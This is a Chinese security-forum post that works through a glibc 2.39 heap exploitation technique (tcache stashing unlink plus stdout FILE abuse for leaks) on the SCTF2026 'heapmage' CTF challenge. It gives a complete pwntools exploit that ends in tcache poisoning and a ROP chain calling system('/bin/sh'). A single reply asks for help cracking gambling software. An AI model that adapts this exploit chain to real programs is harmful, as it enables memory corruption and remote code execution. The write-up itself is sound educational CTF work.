首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
4
5
[原创]论一种无show情况下从堆到劫持执行流的方法
发表于: 2026-6-17 00:00
9077
[原创]论一种无show情况下从堆到劫持执行流的方法
F0xm1ao
2
2026-6-17 00:00
9077
# 引言 前段时间笔者看到了[@B1t3](https://bbs.kanxue.com/user-home-1048393.htm)师傅的[[原创]trx ctf 2026 house of fishing](https://bbs.kanxue.com/thread-291112-1.htm),复现了一下,原题是常规的增删查改程序但缺失show(查)的情况下通过UAF+Larginattack+tcache stashing unlink实现一个任意地址分配,从而污染某个特定的数据使得后门函数的进入条件通过,笔者在复现后思考,如果删除后门函数,能否在无show+UAF的情况下实现劫持程序执行流,发现tcache stashing unlink结合其他技术可以在无show的情况下做到劫持程序执行流,遂发表在评论区。 而这两天刚好SCTF出了一道类似考点的题目,也是考察在程序没有show时的堆利用,笔者尝试上述方法发现可解,因此有了这篇文章来记录该攻击方法。 # 前置知识 ## tcache stashing unlink how2heap中的源码(去除相关注释) ```c #include <stdio.h> #include <stdlib.h> #include <assert.h> int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; setbuf(stdout, NULL); printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n"); printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n"); stack_var[3] = (unsigned long)(&stack_var[2]); printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n"); for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); } printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n"); for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); free(chunk_lis[1]); free(chunk_lis[0]); free(chunk_lis[2]); printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); malloc(0xa0);// size > 0x90 printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n"); malloc(0x90); malloc(0x90); printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var); chunk_lis[2][1] = (unsigned long)stack_var; printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n"); calloc(1,0x90); printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]); target = malloc(0x90); printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); assert(target == &stack_var[2]); return 0; } ``` 当然这个源码只是其中一种情况,我们后续再讲更普遍的情况 先总结一下tcache stashing unlink的适用条件: 1. 有足够的槽位填满tcache 2. 能够修改某个smallbin的bk指针(通过UAF或者是堆溢出亦或是其他方法) 3. 目标地址+0x18处必须是一个指向**可写内存**的指针(通过已有指针/通过其他攻击方法提前布置好这个指针) 而tcache stashing unlink能达到的结果是:①实现任意地址分配 ②向任意地址写入一个libc中的地址 接下来我们从源码(笔者拿Glibc2.39中的malloc.c作为例子)看该攻击方法的原理: 根据前前置知识我们知道,smallbin是严格的FIFO,同时,在单线程程序中main_arena.bins维护了某个size的双向链表,如果某个size中存在A、B、C三个smallbin的话,那么双向链表应该形如`bin <-> A <-> B <-> C <-> bin`,我们通常把A称作链表头,C称作链表尾,而smallbin的取块方向是自尾向头取,也就是如果我们在此时malloc对应大小的堆块,被首先拿出的将是C 源码中的印证: ```c #define first(b) ((b)->fd) #define last(b) ((b)->bk) ... _int_malloc (mstate av, size_t bytes){ ... if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; } ``` 而当从smallbin取块时,紧接着就是第一次双向链表的验证 ```c if (__glibc_unlikely (bck->fd != victim)) //这个bck就是上面所取得victim的bk所指向的堆块 malloc_printerr ("malloc(): smallbin double linked list corrupted"); ``` 如果我们还是按刚才的ABC来理解,取块时会检查C的bk指向的堆块(B)的fd指针是否指向C,一个简单的双向链表检验 而出现问题的则是随后的`#if USE_TCACHE`分支,先放源码(注意,此时的C已经被脱链,也就是现在的链表情况应该是`bin <-> A <-> B <-> bin`) ```c #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache != NULL && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } ``` 首先,进入stash的条件是①tcache已完成初始化且②当前size所对应的tcache并未完全被放满,如果这两个条件满足,那么smallbin的链表就会进入stash的流程,将链表尾的堆块脱离smallbin的双向链表,再将这个堆块放入对应size的tcache的单向链表中,并不断循环,脱离循环的条件是①tcache已满或②当前链表已不存在任何堆块(`bin <-> bin`)。 细心的读者一定会发现,在stash的过程中,没有对fd/bk指针做任何检查,而在Glibc2.43(最新版本的Glibc)中,该stash逻辑依然没有加入任何检查  这意味着,当我们伪造了`bin <-> A <-> B <-> C <-> bin`中A的bk时,当B在stash流程脱链时,bin的bk会被指向我们所伪造的地址,同时,会向我们伪造地址+0x10处写入一个libc中的地址(main_arena),而此时如果循环条件还未结束,那么下一次循环时所取得`last(bin)`就会是我们伪造的地址从而实现任意地址分配。 **注意**,我们在进行stash attack时通常会使得tcache的空闲格数\=\=smallbin链表中堆块的数量+1,这是为了防止当我们伪造的地址被链入tcache后,循环仍未满足停止条件,从而会将我们伪造地址+0x18处的地址继续作为bck,而这个地址未必满足前述的stash条件,而导致崩溃。 ## IO_leak 这个部分可以看[@winmt](https://bbs.kanxue.com/user-home-949925.htm)师傅的[[原创] CTF 中 glibc堆利用 及 IO_FILE 总结](https://bbs.kanxue.com/thread-272098-1.htm#msg_header_h3_18)中提到的通过攻击IO中stdout结构体实现任意读写的部分,本文不赘述啦) # 攻击实现 我们会发现在stdout前的stderr+136处存在一个指向_IO_stdfile_2_lock的指针,而这个指针恰好能够满足我们在tcache stashing unlink中需要的target+0x18处的指针  同时,我们恰好可以通过修改smallbin的bk(main_arena)的低两字节指向在libc中的IO结构体  结合上述两个条件+前置知识,这个攻击方法的步骤大致可以总结如下: 1. 填满tcache制造smallbin 2. 修改smallbin的链表头bk指针 3. 触发stash,使得这个指针被链入tcache中 4. 通过malloc实现任意地址分配 需要注意的是,在2、3的步骤中,有无calloc是不一样的,在2.42前,calloc默认不会从tcache分配,因此我们只需要构造`bin <-> A <-> B <-> bin`,修改A的bk,再令tcache中有两个空闲位置,此时calloc一个堆块,将B脱链,此时链表应该形似`target <- A <-> bin`,此时再malloc就可以得到任意地址分配。 而在只有malloc的情况,这一步需要复杂一点,**我们首先需要构造七个堆块在smallbin中**,再修改链表头的bk指针,再将tcache、smallbin中的堆块都申请出来才能实现任意地址分配,原因就是我们tcache的空闲格数\=\=smallbin链表中堆块的数量+1,但是我们没办法越过tcache直接从smallbin中取块,所以tcache的空闲格数只能是7,而tcache空闲时malloc会消耗一个smallbin的堆块,读者简单思考应该就能明白其中的道理。 而在我们拿到这个位于stderr+136处的地址分配后,我们就可以通过伪造stdout中的以下七个字段实现任意地址读 ```c int _flags; char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ ``` 而这个拥有这个任意地址读了后,配合UAF/堆溢出,我们就能实现任意地址读写,此时通过IO或者environ我们就能轻松劫持程序的执行流了。 # 例 SCTF2026——heapmage Glibc2.39,保护全开  经典的增删改,没有查  add限定大小申请堆块  同时,在首次malloc时会写入堆基址  delete正常free的逻辑,清空了全局指针,不存在UAF  edit中硬编码了写入长度,对0xc0大小的堆块做写入操作时存在0x20大小的堆溢出  同时,在edit时存在一个check逻辑,当读入长度大于0xD8时进行检查,首先取当前堆块+0xC8位置的数据,其实对于我们要进行堆溢出操作的0xC0堆块而言,这个位置就是下一个堆块的size,如果这个size在0x1F与0x520之间,且没有通过times函数中的检查,就会直接退出程序,我们跟进times看看  传入的参数是当前堆块+0xD8的位置,对于0xC0的堆块而言,就是下一个堆块的bk位置,首先先获取当前堆的堆顶,如果该位置不为0,且heap_base已被初始化,就会检查这个bk指针是否在堆内存范围内,如果不在的话,该函数的检查就失败  所以,如果我们按照上述函数方法试图修改smallbin的bk指针时,就会遇到该函数的阻碍,但是想要绕过也非常非常简单,其实这里严格来说存在一个TOCTOU的漏洞,也就是我们在堆溢出时先将size位改为一个大于边界的数,因为是先进行的写入操作,所以在检查时根本不需要通过times的检查也能够正常返回菜单,而这样做会使得堆内存被打乱,此时我们只需要再次通过堆溢出再次覆写size为原size,这样的写入操作不超过0xD8字节,因此也不会进入检查,我们就能够在绕过检查的方式下修改smallbin的bk指针了。  接下来我们对这道题进行上述方法的利用 ,首先我们先需要填满tcache并在smallbin中链入7个堆块(注意,每个堆块间应有用来分隔的堆块,否则会触发unsortedbin的合并机制) ```python for i in range(7): #tcache add(i, 2) for i in range(6): add(i + 7, 2) add(14, 1) #防止合并,并且在结束循环时idx14就是我们将进行堆溢出的堆块 add(13, 2) #链表头就是这个堆块 add(15, 1) #防止与topchunk合并 for i in range(7): delete(i) #填满tcache add(4, 1) #这三个堆块是用来后续利用tcache进行任意地址分配的,可以先不管他们 add(5, 1) add(6, 1) for i in range(7): delete(i + 7) #链入smallbin ``` 我们来看此时的内存,我们恰好可以通过链表头前的堆块溢出覆写链表头的这个smallbin的低字节,将其改为IO中的地址  此时我们覆写,并且将tache的堆块都先申请出来,再申请一个堆块触发stash,查看情况 ```python edit(14, b"a" * 0xC0 + p64(0) + p64(0x550) + p64(0) + b"\x50\x45") edit(14, b"a" * 0xC0 + p64(0) + p64(0x101)) #上述提到的绕过检查的方法 for i in range(7): add(0, 2) #tcache add(0, 2) #触发stash ``` 可以看到,我们想要申请的地址已经进入了tcache,我们只需要再进行一次malloc就实现了申请到IO,但与此同时值得注意的是,smallbin中的链表已经被我们破坏了(bin的fd依然指向我们利用的堆块),也就意味着我们无法在tcache填满后对这个size进行申请,会触发双向链表检查报错  我们再修改stdout的字段,使得我们能拿到原本在_IO_buf_end的地址,从而计算libc的基地址 ```python add(1, 2) edit(1, p64(0) * 12 + p64(0xFBAD1887) + p64(0) * 3 + b"\x00") rc(20) libc_base = uu64(rc(6)) - 0x204644 slog(b"libc", libc_base) ```  那么此时,我们通过控制stdout的字段就能实现任意地址读写,我们可以通过读main_arena拿到堆基址、读environ拿到栈地址 ```python def show(addr, size): payload = ( p64(0) * 12 + p64(0xFBAD1887) + p64(0) * 3 + p64(addr) + p64(addr + size) + p64(addr + size) ) edit(1, payload) rc(20) show(libc_base + 0x203B20, 6) heap_base = uu64(rc(6)) - 0x1B50 - 0x1A0 - 0xD0 slog(b"heap", heap_base) show(libc_base + 0x20AD58, 6) environ = uu64(rc(6)) slog(b"stack", environ) ```  那么我们拥有堆、栈、libc地址后,就可以通过tcache_poisoning直接劫持返回地址控制执行流了,但是由于上述所说的原因,我们没有办法从smallbin中再取对应size的堆块,所以我们提前布置好就好。 ```python delete(4) delete(6) chunk = heap_base + 0x1710 edit( 5, b"/bin/sh\x00" + b"a" * 0xB8 + p64(0) + p64(0xD1) + p64(safe(chunk, environ - 0x178)) #safe-linking + p64(0), ) slog("ret", environ - 0x128) add(6, 1) add(4, 1) bin_sh = heap_base + 0x1720 pop_rdi = libc_base + 0x10F75B edit( 4, p64(0) + p64(1) + p64(2) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(libc_base + libc.sym["system"]), ) sh() ```  exp附下: ```python #!/usr/bin/env python3 from pwn import * # type: ignore context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"] file_name = "./pwn" libc_position = "/root/glibc-all-in-one/libs/2.39-0ubuntu8_amd64/libc.so.6" remote_addr = "" remote_port = "" e = ELF(f"{file_name}") context.binary = e context.log_level = "debug" # error/debug libc = None if args.REMOTE: p = remote("pwn-9a9324aec6.adworld.xctf.org.cn", 9999, ssl=True) elif args.GDB: gdbscript = """""" p = gdb.debug(file_name, gdbscript=gdbscript) else: p = process(file_name) if libc_position != "": libc = ELF(f"{libc_position}") assert libc is not None sd = lambda a: p.send(a) sl = lambda a: p.sendline(a) rc = lambda a=4096: p.recv(a) rl = lambda: p.recvline() ru = lambda a: p.recvuntil(a) uu32 = lambda a: u32(a.ljust(4, b"\x00")) uu64 = lambda a: u64(a.ljust(8, b"\x00")) sh = lambda: p.interactive() slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}") def debug(cmd=""): if not args.REMOTE: gdb.attach(p, cmd) pause() def safe(a, b): return b ^ (a >> 12) def choice(a): ru(b"> ") sl(str(a).encode()) def add(a, b): choice(1) ru(b"ex:") sl(str(a).encode()) ru(b"choice:") sl(str(b).encode()) def delete(a): choice(2) ru(b"ex:") sl(str(a).encode()) def edit(a, b): choice(3) ru(b"ex:") sl(str(a).encode()) ru(b"ata:") sd(b) for i in range(7): add(i, 2) for i in range(6): add(i + 7, 2) add(14, 1) add(13, 2) add(15, 1) for i in range(7): delete(i) add(4, 1) add(5, 1) add(6, 1) for i in range(7): delete(i + 7) add(15, 3) edit(14, b"a" * 0xC0 + p64(0) + p64(0x550) + p64(0) + b"\x50\x45") edit(14, b"a" * 0xC0 + p64(0) + p64(0x101)) for i in range(7): add(0, 2) add(0, 2) pause() add(1, 2) rc() edit(1, p64(0) * 12 + p64(0xFBAD1887) + p64(0) * 3 + b"\x00") rc(20) libc_base = uu64(rc(6)) - 0x204644 slog(b"libc", libc_base) def show(addr, size): payload = ( p64(0) * 12 + p64(0xFBAD1887) + p64(0) * 3 + p64(addr) + p64(addr + size) + p64(addr + size) ) edit(1, payload) rc(20) show(libc_base + 0x203B20, 6) heap_base = uu64(rc(6)) - 0x1B50 - 0x1A0 - 0xD0 slog(b"heap", heap_base) show(libc_base + 0x20AD58, 6) environ = uu64(rc(6)) slog(b"stack", environ) show(environ - 0xA0, 8) delete(4) delete(6) chunk = heap_base + 0x1710 edit( 5, b"/bin/sh\x00" + b"a" * 0xB8 + p64(0) + p64(0xD1) + p64(safe(chunk, environ - 0x178)) + p64(0), ) slog("ret", environ - 0x128) add(6, 1) add(4, 1) bin_sh = heap_base + 0x1720 pop_rdi = libc_base + 0x10F75B edit( 4, p64(0) + p64(1) + p64(2) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(libc_base + libc.sym["system"]), ) sh() ```
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
4
点赞
・
5
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
为你点赞!
2026-7-16 07:30
cr_lgdx
你的帖子非常有用,感谢分享!
2026-7-13 23:06
yuanyouran
+1
期待更多优质内容的分享,论坛有你更精彩!
2026-7-10 08:51
B1t3
为你点赞!
2026-6-25 16:52
YenKoc
为你点赞!
2026-6-21 13:59
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
mb_czvsfrqr
雪 币:
3
活跃值:
(240)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
24
粉丝
0
关注
私信
mb_czvsfrqr
2
楼
求大佬技术破解棋牌 我这里一天几十个到一百个 资源很多很大 希望可以寻一个有实力大佬一起合作共赢
2026-8-17 15:50
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
F0xm1ao
2
4
发帖
6
回帖
100
RANK
关注
私信
他的文章
[原创]论一种无show情况下从堆到劫持执行流的方法
9073
[原创]2026软件系统安全赛决赛StudentManagement WP
11185
[原创]一道简单但不简约的堆题——CISCN2026初赛堆题robo分析
10500
[原创]从2026CCB决赛堆题CreditMarket学习Glibc2.39后ptmalloc的机制更新
12452
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部